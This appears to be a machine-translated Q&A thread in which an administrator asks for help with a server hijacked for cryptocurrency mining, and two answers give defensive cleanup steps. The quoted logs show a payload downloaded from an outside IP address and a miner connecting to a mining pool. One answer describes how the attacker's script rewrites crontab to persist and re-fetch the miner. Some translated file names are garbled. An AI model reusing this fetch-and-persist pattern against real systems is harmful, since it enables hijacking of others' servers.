ちょっと困った状況です。私のサーバーが乗っ取られ、ビットコイン採掘に利用されているようです。
少なくともどこから始めればよいかを知る必要があります。私は初心者のシステム管理者で、これまでこのような問題に遭遇したことがありません。帯域幅が限界を超えており、ホスティング プロバイダーから 1 GB あたり 50 セント請求されており、このため 1 日で 255 GB から 301.8 GB に急増しました。どなたか助けていただければ幸いです。
私はStratumに関連するログに大量のジャンクを見つけた。また、私のサーバーに対して外部IPアドレスで実行されているスクリプトも見つけた。その後、/tmpディレクトリを見ると、7つのファイルがある。
- バッシュ
- cron.d
- メカニカルディレクトリ
- シュ
- スパムフル.sock
- アップデート
私の Apache エラー ログの内容の例は次のとおりです。
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] --2013-11-28 16:27:40-- http://74.208.228.113/sh
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] Connecting to 74.208.228.113:80...
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] connected.
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] HTTP request sent, awaiting response...
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] 200 OK
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] Length:
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] 518288
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] (506K)
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] [text/plain]
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] Saving to: `sh'
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] 0K
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] ... .......... .......... 9% 148K 3s
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] 50K ........
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] .. .......... .......... .......... .....
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] ..... 19% 172K 3s
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] 100K .......... .......... ......
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .... .......... .......... 29% 344K 2s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 150K .......
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ... .......... .......... .......... .......... 39% 514K 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 200K .........
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ..
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ..
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .. .......... .......... .......... 49% 347K 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 250K .......... .......... .......... ........
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .. .......... 59% 347K 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 300K .......... .......... .......... .......... .......... 69% 224M 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 350K .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ......... .......... .......... .......... .......... 79% 347K 0s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 400K .......... ...
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ....... .......... .......... .......... 88% 348K 0s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 450K .......... .......... .......... .......... .......... 98% 254M 0s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 500K ...
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ... 100% 64.1K=1.5s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 2013-11-28 16:27:41 (328 KB/s) - `sh' saved [518288/518288]
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:58 2013] [error] [client 173.201.45.104] kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] a: line 24: ./bash: No such file or directory
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] chattr
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] :
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] Operation not permitted
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] while setting flags on bash
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] \r
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] chattr
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] :
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] Operation not permitted
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] while setting flags on sh
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] \r
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] 2 miner threads started, using 'scrypt' algorithm.
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] Starting Stratum on stratum+tcp://216.230.103.42:3333
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] Stratum connection failed: Failed connect to 216.230.103.42:3333; Connection refused
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] ...retry after 30 seconds
[Thu Nov 28 16:28:33 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:33] Binding thread 1 to cpu 1
[Thu Nov 28 16:28:58 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:58] Stratum connection failed: Failed connect to 216.230.103.42:3333; Connection refused
[Thu Nov 28 16:28:58 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:58] ...retry after 30 seconds
[Thu Nov 28 16:29:21 2013] [error] [client 173.201.45.104] [2013-11-28 16:29:21] Binding thread 0 to cpu 0
[Thu Nov 28 16:29:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:29:28] Stratum connection failed: Failed connect to 216.230.103.42:3333; Connection refused
答え1
まずiptablesを使って外部アドレスへの接続をブロックします
iptables -A OUTPUT -d IP_Address -j DROP
すべての IP アドレスがブロックされていることを確認したら、iptables を保存し、# /sbin/service iptables save
ハイジャッカーによって配置されたファイルをクリーンアップします。
ハイジャッカーがサーバーに足がかりを得た方法を示すエントリが残されているかどうか確認してみると/etc/var/log/messages
よいでしょう。/etc/var/log/secure
ウェブサイトを運営している場合は、PHP シェルなどのファイルをユーザーがアップロードできるウェブページがないことを確認してください。
これで作業は開始できるはずです。また、ホスティング プロバイダーにウイルス対策スキャンを実行して、アクセスを許可するスクリプトやファイルを探すように依頼することもできます。
答え2
ボットのマイナーは接続していないため、エクスプロイトが再実行され、マイナーが何度もダウンロードされ続けます。
最近、関連していると思われる不正な cgi-bin 設定の悪用試行を確認しました。
ダウンロードしようとしていました
74.208.228.113 / a
それをシェルスクリプトとして実行します。
そのスクリプトは、私たちが調べたところ、crontabエントリを消去し、それをスクリプトの実行に置き換えていました。
74.208.228.113 / update
また、同じスクリプトを/etc/cron.hourlyにも配置します。
このスクリプトは「ps x」を実行し、成功したマイナー接続を grep します。見つからない場合は、スクリプトを再度ダウンロードして再実行します。
スクリプトの最後で、
74.208.228.113 / clamav
そして
74.208.228.113 / sh
これらは、minerd の異なるコンパイル バージョンのようです。clamav の名前を bash に変更し、216.230.103.42 で両方のマイニングを開始します。
したがって、同様の方法で悪用された場合は、次のことを行う必要があります。
cgi-binを無効にする
crontabでhttpdを実行しているユーザー(rootまたはapache)を確認し、「update」エントリを削除します。
/etc/cron.hourly/でupdateというファイルをチェックし、マイナーが接続できない216.230.103.42を参照しているかどうかを確認します。そのファイルを削除するには
帯域幅を使用しているのは、これらの更新エントリです。crontab は 1 分ごとに 1 回実行されています。
しかし、もっと良い方法は軌道上から核爆弾を落とすことだと私は思います。cgi-binがスクリプトを実行するリモートエクスプロイトを許可するように設定されている場合、保証はありません。